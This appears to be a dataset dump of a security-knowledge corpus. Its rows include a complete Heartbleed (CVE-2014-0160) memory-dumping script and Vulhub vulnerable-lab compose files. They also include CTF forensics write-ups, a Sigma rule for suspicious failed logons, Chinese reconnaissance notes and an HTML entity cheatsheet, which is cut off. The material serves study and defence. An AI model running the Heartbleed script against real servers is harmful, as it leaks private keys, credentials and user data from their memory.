text
stringlengths
100
9.93M
category
stringclasses
11 values
#!/usr/bin/python # Quick and dirty demonstration of CVE-2014-0160 originally by Jared Stafford (jspenguin@jspenguin.org) # The author disclaims copyright to this source code. # Modified by SensePost based on lots of other people's efforts (hard to work out credit via PasteBin) from __future__ import print_function from builtins import str from builtins import range import sys import struct import socket import time import select import re from optparse import OptionParser import smtplib options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)') options.add_option('-n', '--num', type='int', default=1, help='Number of heartbeats to send if vulnerable (defines how much memory you get back) (default: 1)') options.add_option('-f', '--file', type='str', default='dump.bin', help='Filename to write dumped memory too (default: dump.bin)') options.add_option('-q', '--quiet', default=False, help='Do not display the memory dump', action='store_true') options.add_option('-s', '--starttls', action='store_true', default=False, help='Check STARTTLS (smtp only right now)') def h2bin(x): return x.replace(' ', '').replace('\n', '').decode('hex') hello = h2bin(''' 16 03 02 00 dc 01 00 00 d8 03 02 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 ''') hbv10 = h2bin(''' 18 03 01 00 03 01 40 00 ''') hbv11 = h2bin(''' 18 03 02 00 03 01 40 00 ''') hbv12 = h2bin(''' 18 03 03 00 03 01 40 00 ''') def hexdump(s, dumpf, quiet): dump = open(dumpf,'a') dump.write(s) dump.close() if quiet: return for b in range(0, len(s), 16): lin = [c for c in s[b : b + 16]] hxdat = ' '.join('%02X' % ord(c) for c in lin) pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin) print(' %04x: %-48s %s' % (b, hxdat, pdat)) print() def recvall(s, length, timeout=5): endtime = time.time() + timeout rdata = '' remain = length while remain > 0: rtime = endtime - time.time() if rtime < 0: if not rdata: return None else: return rdata r, w, e = select.select([s], [], [], 5) if s in r: data = s.recv(remain) # EOF? if not data: return None rdata += data remain -= len(data) return rdata def recvmsg(s): hdr = recvall(s, 5) if hdr is None: print('Unexpected EOF receiving record header - server closed connection') return None, None, None typ, ver, ln = struct.unpack('>BHH', hdr) pay = recvall(s, ln, 10) if pay is None: print('Unexpected EOF receiving record payload - server closed connection') return None, None, None print(' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))) return typ, ver, pay def hit_hb(s, dumpf, host, quiet): while True: typ, ver, pay = recvmsg(s) if typ is None: print('No heartbeat response received from '+host+', server likely not vulnerable') return False if typ == 24: if not quiet: print('Received heartbeat response:') hexdump(pay, dumpf, quiet) if len(pay) > 3: print('WARNING: server '+ host +' returned more data than it should - server is vulnerable!') else: print('Server '+host+' processed malformed heartbeat, but did not return any extra data.') return True if typ == 21: if not quiet: print('Received alert:') hexdump(pay, dumpf, quiet) print('Server '+ host +' returned error, likely not vulnerable') return False def connect(host, port, quiet): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if not quiet: print('Connecting...') sys.stdout.flush() s.connect((host, port)) return s def tls(s, quiet): if not quiet: print('Sending Client Hello...') sys.stdout.flush() s.send(hello) if not quiet: print('Waiting for Server Hello...') sys.stdout.flush() def parseresp(s): while True: typ, ver, pay = recvmsg(s) if typ == None: print('Server closed connection without sending Server Hello.') return 0 # Look for server hello done message. if typ == 22 and ord(pay[0]) == 0x0E: return ver def check(host, port, dumpf, quiet, starttls): response = False if starttls: try: s = smtplib.SMTP(host=host,port=port) s.ehlo() s.starttls() except smtplib.SMTPException: print('STARTTLS not supported...') s.quit() return False print('STARTTLS supported...') s.quit() s = connect(host, port, quiet) s.settimeout(1) try: re = s.recv(1024) s.send('ehlo starttlstest\r\n') re = s.recv(1024) s.send('starttls\r\n') re = s.recv(1024) except socket.timeout: print('Timeout issues, going ahead anyway, but it is probably broken ...') tls(s,quiet) else: s = connect(host, port, quiet) tls(s,quiet) version = parseresp(s) if version == 0: if not quiet: print("Got an error while parsing the response, bailing ...") return False else: version = version - 0x0300 if not quiet: print("Server TLS version was 1.%d\n" % version) if not quiet: print('Sending heartbeat request...') sys.stdout.flush() if (version == 1): s.send(hbv10) response = hit_hb(s,dumpf, host, quiet) if (version == 2): s.send(hbv11) response = hit_hb(s,dumpf, host, quiet) if (version == 3): s.send(hbv12) response = hit_hb(s,dumpf, host, quiet) s.close() return response def main(): opts, args = options.parse_args() if len(args) < 1: options.print_help() return print('Scanning ' + args[0] + ' on port ' + str(opts.port)) for i in range(0,opts.num): check(args[0], opts.port, opts.file, opts.quiet, opts.starttls) if __name__ == '__main__': main()
sec-knowleage
具体更新见[UPDATE文档](https://github.com/Snowming04/The-Hacker-Playbook-3-Translation/blob/master/UPDATE.md)。
sec-knowleage
version: '2' services: nginx: image: vulhub/nginx:1.4.2 volumes: - ./nginx.conf:/usr/local/nginx/conf/nginx.conf - ./www:/usr/local/nginx/html ports: - "8080:80" php: build: ./php-fpm/ volumes: - ./www:/var/www/html
sec-knowleage
# 网络调优 --- ## 压测工具 - [网络测试调试](./工具.md#网络测试调试) --- ## 常用调优配置 ```bash sysctl net.ipv4.tcp_tw_reuse=1 sysctl net.ipv4.ip_local_port_range="1024 65535" sysctl net.ipv4.tcp_rmem="16384 262144 8388608" sysctl net.ipv4.tcp_wmem="32768 524288 16777216" sysctl net.core.somaxconn=8192 sysctl net.core.rmem_max=16777216 sysctl net.core.wmem_max=16777216 sysctl net.core.wmem_default=2097152 sysctl net.ipv4.tcp_max_tw_buckets=5000 sysctl net.ipv4.tcp_max_syn_backlog=10240 sysctl net.core.netdev_max_backlog=10240 sysctl net.netfilter.nf_conntrack_max=1000000 sysctl net.ipv4.netfilter.ip_conntrack_tcp_timeout_established=7200 sysctl net.core.default_qdisc=fq_codel sysctl net.ipv4.tcp_congestion_control=bbr sysctl net.ipv4.tcp_slow_start_after_idle=0 ``` --- ## Source & Reference * [Linux 网络调优:内核网络栈参数篇](https://www.starduster.me/2020/03/02/linux-network-tuning-kernel-parameter/) * [Linux性能调优之 网络](https://lework.github.io/2020/02/20/network/)
sec-knowleage
# tracer Forensics, Easy ## Description > Tracing the Kuchenblech-Mafia is hard! A text file was attached. ## Solution Let's check the attached file: ```console root@kali:/media/sf_CTFs/36c3/tracer# cat chal2-98f6917950f95448890949f2d9b9850a.txt | head 264 execve("/bin/bash", ["/bin/bash"], 0x7ffdebc8fb30 /* 8 vars */) = 0 264 read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\220\311\0\0\0\0\0\0"..., 832) = 832 264 read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0P\16\0\0\0\0\0\0"..., 832) = 832 264 read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\260\34\2\0\0\0\0\0"..., 832) = 832 264 read(3, "# /etc/nsswitch.conf\n#\n# Example"..., 4096) = 497 264 read(3, "", 4096) = 0 264 read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\240\22\0\0\0\0\0\0"..., 832) = 832 264 read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0p \0\0\0\0\0\0"..., 832) = 832 264 read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\220@\0\0\0\0\0\0"..., 832) = 832 264 read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0P#\0\0\0\0\0\0"..., 832) = 832 root@kali:/media/sf_CTFs/36c3/tracer# cat chal2-98f6917950f95448890949f2d9b9850a.txt | tail 541 write(1, "\33[?2004l\33[?1l\33>", 15) = 15 541 write(1, "\33[?25h\33[?1049l\33[23;0;0t", 23) = 23 541 +++ exited with 0 +++ 264 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=541, si_uid=0, si_status=0, si_utime=14, si_stime=5} --- 264 write(2, "\33]0;root@c28a269da35a: /\7root@c2"..., 46) = 46 264 read(0, "\4", 1) = 1 264 write(2, "exit\n", 5) = 5 264 write(3, "apt install vim\nvim Flag\n", 25) = 25 264 read(3, "apt install vim\nvim Flag\n", 25) = 25 264 +++ exited with 0 +++ ``` It looks like the output of `strace`, mainly describing the process of installing `vim` via `apt install` and using it to open a file named `Flag`. The trace itself is 66047 lines long, but up to line ~65600 the output is only related to the installation itself. On line 65624 we have: ``` 541 execve("/usr/bin/vim", ["vim", "Flag"], 0x5592eb5cdef0 /* 8 vars */) = 0 ``` This is where `vim` is requested to open the `Flag` file. Slowly scanning through the rest of the file, we eventually meet the following section: ``` 541 read(0, "j", 4096) = 1 541 write(3, "b0VIM 8.0\0\0\0\0\20\0\0\0\0\0\0\0\0\0\0\35\2\0\0root"..., 4096) = 4096 541 write(1, "\33[?25lj\33[53;174H1,2\33[1;2H\33[?25h", 31) = 31 541 read(0, "\r", 4096) = 1 541 write(1, "\33[?25l\33[2;1H\33[K\33[53;174H2,1\33[2;1"..., 39) = 39 541 read(0, "\r", 4096) = 1 541 write(1, "\33[?25l\33[3;1H\33[K\33[53;174H3\33[3;1H\33"..., 37) = 37 541 read(0, "\r", 4096) = 1 541 write(1, "\33[?25l\33[4;1H\33[K\33[53;174H4\33[4;1H\33"..., 37) = 37 541 read(0, "u", 4096) = 1 541 write(1, "\33[?25lu\33[53;176H2\33[4;2H\33[?25h", 29) = 29 541 read(0, "n", 4096) = 1 541 write(1, "\33[?25ln\33[53;176H3\33[4;3H\33[?25h", 29) = 29 541 read(0, "\r", 4096) = 1 541 write(1, "\33[?25l\33[5;1H\33[K\33[53;174H5,1\33[5;1"..., 39) = 39 541 read(0, "\r", 4096) = 1 541 write(1, "\33[?25l\33[6;1H\33[K\33[53;174H6\33[6;1H\33"..., 37) = 37 541 read(0, "i", 4096) = 1 541 write(1, "\33[?25li\33[53;176H2\33[6;2H\33[?25h", 29) = 29 541 read(0, "o", 4096) = 1 541 write(1, "\33[?25lo\33[53;176H3\33[6;3H\33[?25h", 29) = 29 541 read(0, "\r", 4096) = 1 541 write(1, "\33[?25l\33[7;1H\33[K\33[53;174H7,1\33[7;1"..., 39) = 39 541 read(0, "r", 4096) = 1 541 write(1, "\33[?25lr\33[53;176H2\33[7;2H\33[?25h", 29) = 29 ``` Ignoring the `\r` inputs, we can identify `junior` which is the flag format. Let's extract all the `read`s from this section: ```console root@kali:/media/sf_CTFs/36c3/tracer# cat chal2-98f6917950f95448890949f2d9b9850a.txt | tail -n +65782 | grep read 541 read(0, "i", 4096) = 1 541 read(0, "j", 4096) = 1 541 read(0, "\r", 4096) = 1 541 read(0, "\r", 4096) = 1 541 read(0, "\r", 4096) = 1 541 read(0, "u", 4096) = 1 541 read(0, "n", 4096) = 1 541 read(0, "\r", 4096) = 1 541 read(0, "\r", 4096) = 1 541 read(0, "i", 4096) = 1 541 read(0, "o", 4096) = 1 541 read(0, "\r", 4096) = 1 541 read(0, "r", 4096) = 1 541 read(0, "-", 4096) = 1 541 read(0, "\r", 4096) = 1 541 read(0, "n", 4096) = 1 541 read(0, "a", 4096) = 1 541 read(0, "\33", 4096) = 1 541 read(0, "y", 4096) = 1 541 read(0, "y", 4096) = 1 541 read(0, "p", 4096) = 1 541 read(0, "A", 4096) = 1 541 read(0, "\177", 4096) = 1 541 read(0, "o", 4096) = 1 541 read(0, "\r", 4096) = 1 541 read(0, "\r", 4096) = 1 541 read(0, "i", 4096) = 1 541 read(0, "\r", 4096) = 1 541 read(0, "s", 4096) = 1 541 read(0, "\r", 4096) = 1 541 read(0, "\r", 4096) = 1 541 read(0, "w", 4096) = 1 541 read(0, "a", 4096) = 1 541 read(0, "\r", 4096) = 1 541 read(0, "y", 4096) = 1 541 read(0, "\r", 4096) = 1 541 read(0, "b", 4096) = 1 541 read(0, "e", 4096) = 1 541 read(0, "\r", 4096) = 1 541 read(0, "t", 4096) = 1 541 read(0, "t", 4096) = 1 541 read(0, "e", 4096) = 1 541 read(0, "\r", 4096) = 1 541 read(0, "\r", 4096) = 1 541 read(0, "r", 4096) = 1 541 read(0, "!", 4096) = 1 541 read(0, "\33", 4096) = 1 541 read(0, "g", 4096) = 1 541 read(0, "g", 4096) = 1 541 read(0, "J", 4096) = 1 541 read(0, "J", 4096) = 1 541 read(0, "J", 4096) = 1 541 read(0, "J", 4096) = 1 541 read(0, "J", 4096) = 1 541 read(0, "J", 4096) = 1 541 read(0, "J", 4096) = 1 541 read(0, "J", 4096) = 1 541 read(0, "J", 4096) = 1 541 read(0, "J", 4096) = 1 541 read(0, "J", 4096) = 1 541 read(0, "J", 4096) = 1 541 read(0, "J", 4096) = 1 541 read(0, "J", 4096) = 1 541 read(0, "J", 4096) = 1 541 read(0, "J", 4096) = 1 541 read(0, "J", 4096) = 1 541 read(0, "J", 4096) = 1 541 read(0, "b", 4096) = 1 541 read(0, "b", 4096) = 1 541 read(0, "~", 4096) = 1 541 read(0, "~", 4096) = 1 541 read(0, "~", 4096) = 1 541 read(0, "~", 4096) = 1 541 read(0, "~", 4096) = 1 541 read(0, "~", 4096) = 1 541 read(0, "~", 4096) = 1 541 read(0, "~", 4096) = 1 541 read(0, "\33", 4096) = 1 541 read(0, ":", 4096) = 1 541 read(0, "s", 4096) = 1 541 read(0, "/", 4096) = 1 541 read(0, " ", 4096) = 1 541 read(0, "/", 4096) = 1 541 read(0, "/", 4096) = 1 541 read(0, "g", 4096) = 1 541 read(0, "\r", 4096) = 1 541 read(0, "\33", 4096) = 1 541 read(0, ":", 4096) = 1 541 read(0, "w", 4096) = 1 541 read(0, "q", 4096) = 1 541 read(0, "\r", 4096) = 1 264 read(0, "\4", 1) = 1 264 read(3, "apt install vim\nvim Flag\n", 25) = 25 ``` Let's clean it up a bit: ``` root@kali:/media/sf_CTFs/36c3/tracer# cat chal2-98f6917950f95448890949f2d9b9850a.txt | tail -n +65782 | grep read | awk '{printf $3}' | tr -d '",' | sed 's/\\r/\\r\n/g' ij\r \r \r un\r \r io\r r-\r na\33yypA\177o\r \r i\r s\r \r wa\r y\r be\r tte\r \r r!\33ggJJJJJJJJJJJJJJJJJJbb~~~~~~~~\33:s///g\r \33:wq\r \4apt ``` If it wasn't clear until now, the `:wq` is a dead giveaway: We need to open `vim` and re-enter this input in order to get the flag. The only remaining question is what to type for `\33` and for `\177`. It turns out that these are octal representations of ASCII characters: ```console root@kali:/media/sf_CTFs/36c3/tracer# man ascii | grep 033 033 27 1B ESC (escape) 133 91 5B [ root@kali:/media/sf_CTFs/36c3/tracer# man ascii | grep 177 077 63 3F ? 177 127 7F DEL ``` This means that `\33` is `ESC` and `\177` is `DEL`. The flag is: `junior-nanoiswayBETTER!`. Indeed.
sec-knowleage
# 全流量威胁狩猎 // TODO ## References [1] 威胁情报的私有化生产和级联:威胁狩猎及情报共享,https://www.freebuf.com/articles/es/222359.html
sec-knowleage
# Hackover CTF 2018 Team: nazywam, pwn.m0d3, shalom, msm, chivay, sasza, rev ### Table of contents * [Hummel (misc)](misc_hummel) * [Holy graal (pwn)](pwn_graal) * [Bwv2342 (re)](re_bwv) * [I am many (for)](for_many) * [Ez web (web)](web_ez) * [I love hedda (web)](web_hedda) * [Who knows (web)](web_whoknows) * [Cyberware (web)](web_cyberware)
sec-knowleage
### 网络信息搜集技巧 - 公开渠道 - 目标 Web 网页、地理位置、相关组织 - 组织结构和人员、个人资料、电话、电子邮件 - 网络配置、安全防护机制的策略和技术细节 - 通过搜索引擎查找特定安全漏洞或私密信息的方法 - [Google Hacking Database](https://www.exploit-db.com/google-hacking-database/) - 科学上网 ### 信息搜集技术的基本搜索技巧 - Google 基本搜索与挖掘技巧 - 保持简单明了的关键词 - 使用最可能出现在要查找的网页上的字词 - 尽量简明扼要地描述要查找的内容 - 选择独特性的描述字词 - 社会公共信息库查询 - 个人信息:人口统计局 - 企业等实体:YellowPage、企业信用信息网 - 网站、域名、IP:whois 等 ### 信息搜集技术关于地图和街景搜索 - 国外:Google Map、Google Earth、Google Street View - 国内:百度地图、卫星地图、街景 - 从网络世界到物理世界:IP2Location - whois 数据库 - GeoIP - IP2Location - 纯真数据库(QQ IP 查询)
sec-knowleage
version: '2' services: web: image: vulhub/ecshop:4.0.6 depends_on: - mysql ports: - "8080:80" mysql: image: mysql:5.5 environment: - MYSQL_ROOT_PASSWORD=root
sec-knowleage
# T1078-003-win-可疑的失败登录行为 ## 来自ATT&CK的描述 攻击者可能会使用凭据访问技术窃取特定用户或服务账号的凭据,或者在早期的侦察过程通过社会工程捕获凭据以获得首次访问权限。 攻击者可以使用三种账号:默认账号、本地账号和域账号。默认账号是操作系统的内置账号,例如Windows系统上的访客或管理员账号,或者其他类型系统、软件或设备上的默认工厂/提供商账号。本地账号是组织配置给用户、远程支持或服务的账号,或单个系统/服务的管理账号。域账号是AD-DS(活动目录域服务)管理的账号,其访问和权限在域内不同系统和服务之间配置。域账号可以涵盖用户、管理员和服务。 攻击者可以使用窃取的凭据绕过网络内系统上各种资源的访问控制,甚至可用于对远程系统和外部可用服务(如VPN、Outlook Web Access和远程桌面)的持久访问。攻击者还可能通过窃取的凭据获得特定系统的更多权限或网络受限区域的访问权限。攻击者可以选择不将恶意软件或工具与这些凭据提供的合法访问结合使用,这样就更难检测到它们的存在。 默认账号并不限于客户端机器上的访客和管理员,它们还包括为设备(如网络设备和计算机应用)预设的账号,无论这些设备是内部的、开源的还是COTS。如果设备预设了用户名和密码组合而且安装后不更改,将会对组织构成严重威胁,因为它们很容易成为攻击者的目标。同理,攻击者也可能会利用公开披露的私钥或盗取的私钥通过远程服务合法地连接到远程环境。 我们需要关注跨系统网络的账号访问、凭据和权限的重叠,因为攻击者也许能够跨账号和系统切换以获得较高的访问级别(域或企业管理员),从而绕过企业内设置的访问控制。 ## 测试案例 windows账户登录失败 ## 检测日志 windows 安全日志 ## 测试复现 场景较简单,请自行测试。 ## 测试留痕 windows安全事件ID(win7 / win2008+) ## 检测规则/思路 ### sigma规则 ```yml title: 帐户篡改-可疑的失败登录原因 description: 此方法对失败的登录使用不常见的错误代码来确定可疑活动并篡改已禁用或受某种方式限制的帐户。 author: 12306Br0(测试+翻译) date: 2020/06/09 references: - https://twitter.com/SBousseaden/status/1101431884540710913 tags: - attack.persistence - attack.privilege_escalation - attack.t1078 logsource: product: windows service: security detection: selection: EventID: - 4625 #普通账户登录失败 - 4776 #域账户登录失败 Status: - '0xC0000072' # 用户登录到帐户已被管理员禁用 - '0xC000006F' # 用户在授权时间之外登录 - '0xC0000070' # 用户从未经授权的工作站登录 - '0xC0000413' # 登录失败:您登录的计算机受到身份验证防火墙的保护。 指定的帐户不允许对计算机进行身份验证 - '0xC000018C' # 登录请求失败,因为主域和可信域之间的信任关系失败 - '0xC000015B' # 用户尚未在此计算机上被授予请求的登录类型(也称为登录权限) condition: selection falsepositives: - 使用禁用帐户的用户 level: high ``` 注意:此规则主要是针对用户账户登录失败行为状态码进行分析。 ### 建议 暂无 ## 参考推荐 MITRE-ATT&CK-T1078-003 <https://attack.mitre.org/techniques/T1078/003>
sec-knowleage
# Crawling Code Creature (re/for) This was marked as Reverse challenge, but we solved it like a forensics problem. In the task we get a coredump of python process. We tried loading this into gdb, but with not much luck. The symbols didn't match and we couldn't really navigate much over what we had. As a result we decided to use classic tools like `vi, grep, regex, strings`. Going over the strings in the file we noticed a couple of things. The user was sending http requests to some application running on localhost with: ``` r1 = requests.get('http://localhost:5000/message') ``` and ``` r2 = requests.get('http://localhost:5000/key') ``` There was also `from Crypto.Cipher import AES` which would suggest that something is encrypted with AES. Finally we also found some interesting long hex-encoded strings, which were not coming from the documentation: `f0623892bc68e01d3206407fa3a84a2bf0d68d57dc3b97a31b1952a8227348a9` and `f8fa35b181005f76b9eb1f867dd85ea35d4049db6e24cc92b15bbc2abed1d7b0afc8238afd7a2f7384e4becff92ce9fc` First one is 32 bytes long, so could be AES key, the other one could then be a ciphertext. ```python from Crypto.Cipher import AES def main(): key = 'f0623892bc68e01d3206407fa3a84a2bf0d68d57dc3b97a31b1952a8227348a9'.decode("hex") msg = 'f8fa35b181005f76b9eb1f867dd85ea35d4049db6e24cc92b15bbc2abed1d7b0afc8238afd7a2f7384e4becff92ce9fc'.decode("hex") encrypt = AES.new(key, AES.MODE_ECB, '\0' * 16) decrypted = encrypt.decrypt(msg) print(decrypted) main() ``` Which gives us `midnight{c4n_you_r3v1ve_4_d34d_snek}`
sec-knowleage
--- title: HTML Characters Entities date: 2022-01-13 11:44:21 tags: - html - code - characters categories: - Other intro: | This cheatsheet is a complete list of HTML entities with their numbers and names. Also included is a full list of ASCII characters that can be represented in HTML. --- HTML Character Entity References {.cols-1} --------------- ### HTML Special Characters | HTML | Symbol | Numeric | Description | Hex | CSS (ISO) | JS (Octal) | |----------------|--------------|--------------|--------------------------|-----------------|-------------------|---------------------| | `&quot;` | " | `&#34;` | quotation mark | u+0022 ISOnum | \\0022 | <a href='javascript:alert(&quot;\42&quot;)'>\42</a> | | `&num;` | # | `&#35;` | number sign | u+0023 ISOnum | \\0023 | <a href='javascript:alert(&quot;\43&quot;)'>\43</a> | | `&dollar;` | $ | `&#36;` | dollar sign | u+0024 ISOnum | \\0024 | <a href='javascript:alert(&quot;\44&quot;)'>\44</a> | | `&percnt;` | % | `&#37;` | percent sign | u+0025 ISOnum | \\0025 | <a href='javascript:alert(&quot;\45&quot;)'>\45</a> | | `&amp;` | & | `&#38;` | ampersand | u+0026 ISOnum | \\0026 | <a href='javascript:alert(&quot;\46&quot;)'>\46</a> | | `&apos;` | ' | `&#39;` | apostrophe | u+0027 ISOnum | \\0027 | <a href='javascript:alert(&quot;\47&quot;)'>\47</a> | | `&lpar;` | ( | `&#40;` | left parenthesis | u+0028 ISOnum | \\0028 | <a href='javascript:alert(&quot;\50&quot;)'>\50</a> | | `&rpar;` | ) | `&#41;` | right parenthesis | u+0029 ISOnum | \\0029 | <a href='javascript:alert(&quot;\51&quot;)'>\51</a> | | `&ast;` | * | `&#42;` | asterisk | u+002A ISOnum | \\002a | <a href='javascript:alert(&quot;\52&quot;)'>\52</a> | | `&plus;` | + | `&#43;` | plus sign | u+002B ISOnum | \\002b | <a href='javascript:alert(&quot;\53&quot;)'>\53</a> | | `&comma;` | , | `&#44;` | comma | u+002C ISOnum | \\002c | <a href='javascript:alert(&quot;\54&quot;)'>\54</a> | | `&minus;` | - | `&#45;` | hyphen-minus | u+002D ISOnum | \\002d | <a href='javascript:alert(&quot;\55&quot;)'>\55</a> | | `&period;` | . | `&#46;` | full stop; period | u+002E ISOnum | \\002e | <a href='javascript:alert(&quot;\56&quot;)'>\56</a> | | `&sol;` | / | `&#47;` | solidus; slash | u+002F ISOnum | \\002f | <a href='javascript:alert(&quot;\57&quot;)'>\57</a> | | `&colon;` | : | `&#58;` | colon | u+003A ISOnum | \\003a | <a href='javascript:alert(&quot;\72&quot;)'>\72</a> | | `&semi;` | ; | `&#59;` | semicolon | u+003B ISOnum | \\003b | <a href='javascript:alert(&quot;\73&quot;)'>\73</a> | | `&lt;` | < | `&#60;` | less-than | u+003C ISOnum | \\003c | <a href='javascript:alert(&quot;\74&quot;)'>\74</a> | | `&equals;` | = | `&#61;` | equals | u+003D ISOnum | \\003d | <a href='javascript:alert(&quot;\75&quot;)'>\75</a> | | `&gt;` | > | `&#62;` | greater-than sign | u+003E ISOnum | \\003e | <a href='javascript:alert(&quot;\76&quot;)'>\76</a> | | `&quest;` | ? | `&#63;` | question mark | u+003F ISOnum | \\003f | <a href='javascript:alert(&quot;\77&quot;)'>\77</a> | | `&commat;` | @ | `&#64;` | at sign; commercial at | u+0040 ISOnum | \\0040 | <a href='javascript:alert(&quot;\100&quot;)'>\100</a> | | `&lsqb;` | [ | `&#91;` | left square bracket | u+005B ISOnum | \\005b | <a href='javascript:alert(&quot;\133&quot;)'>\133</a> | | `&bsol;` | \ | `&#92;` | backslash | u+005C ISOnum | \\005c | <a href='javascript:alert(&quot;\134&quot;)'>\134</a> | | `&rsqb;` | ] | `&#93;` | right square bracket | u+005D ISOnum | \\005d | <a href='javascript:alert(&quot;\135&quot;)'>\135</a> | | `&Hat;` | ^ | `&#94;` | circumflex accent | u+005E ISOnum | \\005e | <a href='javascript:alert(&quot;\136&quot;)'>\136</a> | | `&lowbar;` | _ | `&#95;` | low line | u+005F ISOnum | \\005f | <a href='javascript:alert(&quot;\137&quot;)'>\137</a> | | `&grave;` | &#96; | `&#96;` | grave accent | u+0060 ISOnum | \\0060 | <a href='javascript:alert(&quot;\u0060&quot;)'>\u0060</a> | | `&lcub;` | { | `&#123;` | left curly bracket | u+007b ISOnum | \\007b | <a href='javascript:alert(&quot;\173&quot;)'>\173</a> | | `&verbar;` | \| | `&#124;` | vertical bar | u+007c ISOnum | \\007c | <a href='javascript:alert(&quot;\174&quot;)'>\174</a> | | `&rcub;` | } | `&#125;` | right curly bracket | u+007d ISOnum | \\007d | <a href='javascript:alert(&quot;\175&quot;)'>\175</a> | | | ~ | `&#126;` | tilde | u+007e ISOnum | \\007e | <a href='javascript:alert(&quot;\176&quot;)'>\176</a> | {.show-header} ### HTML Latin | HTML | Symbol | Numeric | Description | Hex | CSS (ISO) | JS (Octal) | |----------------|----------|----------------|---------------------------------------|----------|-----------|---------------------| | `&nbsp;` |   | `&#160;` | no-break space | %A0 | \\00a0 | <a href='javascript:alert(&quot;\240&quot;)'>\240</a> | | `&iexcl;` | ¡ | `&#161;` | inverted exclamation mark | %A1 | \\00a1 | <a href='javascript:alert(&quot;\241&quot;)'>\241</a> | | `&cent;` | ¢ | `&#162;` | cent sign | %A2 | \\00a2 | <a href='javascript:alert(&quot;\242&quot;)'>\242</a> | | `&pound;` | £ | `&#163;` | pound sterling sign | %A3 | \\00a3 | <a href='javascript:alert(&quot;\243&quot;)'>\243</a> | | `&curren;` | ¤ | `&#164;` | general currency sign | %A4 | \\00a4 | <a href='javascript:alert(&quot;\244&quot;)'>\244</a> | | `&yen;` | ¥ | `&#165;` | yen sign | %A5 | \\00a5 | <a href='javascript:alert(&quot;\245&quot;)'>\245</a> | | `&#x20B9;` | ₹ | `&#x20B9;` | Indian Rupee (INR) sign | U+20B9 | \\20B9 | <a href='javascript:alert(&quot;\u20B9&quot;)'>\u20B9</a> | | `&brvbar;` | ¦ | `&#166;` | broken (vertical) bar | %A6 | \\00a6 | <a href='javascript:alert(&quot;\246&quot;)'>\246</a> | | `&sect;` | § | `&#167;` | section sign | %A7 | \\00a7 | <a href='javascript:alert(&quot;\247&quot;)'>\247</a> | | `&uml;` | ¨ | `&#168;` | umlaut (dieresis) | %A8 | \\00a8 | <a href='javascript:alert(&quot;\250&quot;)'>\250</a> | | `&copy;` | © | `&#169;` | copyright sign | %A9 | \\00a9 | <a href='javascript:alert(&quot;\251&quot;)'>\251</a> | | `&ordf;` | ª | `&#170;` | ordinal indicator, feminine | %AA | \\00aa | <a href='javascript:alert(&quot;\252&quot;)'>\252</a> | | `&laquo;` | « | `&#171;` | angle quotation mark, left | %AB | \\00ab | <a href='javascript:alert(&quot;\253&quot;)'>\253</a> | | `&not;` | ¬ | `&#172;` | not sign | %AC | \\00ac | <a href='javascript:alert(&quot;\254&quot;)'>\254</a> | | `&shy;` | ­ | `&#173;` | soft hyphen | %AD | \\00ad | <a href='javascript:alert(&quot;\255&quot;)'>\255</a> | | `&reg;` | ® | `&#174;` | registered sign | %AE | \\00ae | <a href='javascript:alert(&quot;\256&quot;)'>\256</a> | | `&macr;` | ¯ | `&#175;` | macron | %AF | \\00af | <a href='javascript:alert(&quot;\257&quot;)'>\257</a> | | `&deg;` | ° | `&#176;` | degree sign | %B0 | \\00b0 | <a href='javascript:alert(&quot;\260&quot;)'>\260</a> | | `&plusmn;` | ± | `&#177;` | plus-or-minus sign | %B1 | \\00b1 | <a href='javascript:alert(&quot;\261&quot;)'>\261</a> | | `&sup2;` | ² | `&#178;` | superscript two | %B2 | \\00b2 | <a href='javascript:alert(&quot;\262&quot;)'>\262</a> | | `&sup3;` | ³ | `&#179;` | superscript three | %B3 | \\00b3 | <a href='javascript:alert(&quot;\263&quot;)'>\263</a> | | `&acute;` | ´ | `&#180;` | acute accent | %B4 | \\00b4 | <a href='javascript:alert(&quot;\264&quot;)'>\264</a> | | `&micro;` | µ | `&#181;` | micro sign | %B5 | \\00b5 | <a href='javascript:alert(&quot;\265&quot;)'>\265</a> | | `&para;` | ¶ | `&#182;` | pilcrow (paragraph sign) | %B6 | \\00b6 | <a href='javascript:alert(&quot;\266&quot;)'>\266</a> | | `&middot;` | · | `&#183;` | middle dot | %B7 | \\00b7 | <a href='javascript:alert(&quot;\267&quot;)'>\267</a> | | `&cedil;` | ¸ | `&#184;` | cedilla | %B8 | \\00b8 | <a href='javascript:alert(&quot;\270&quot;)'>\270</a> | | `&sup1;` | ¹ | `&#185;` | superscript one | %B9 | \\00b9 | <a href='javascript:alert(&quot;\271&quot;)'>\271</a> | | `&ordm;` | º 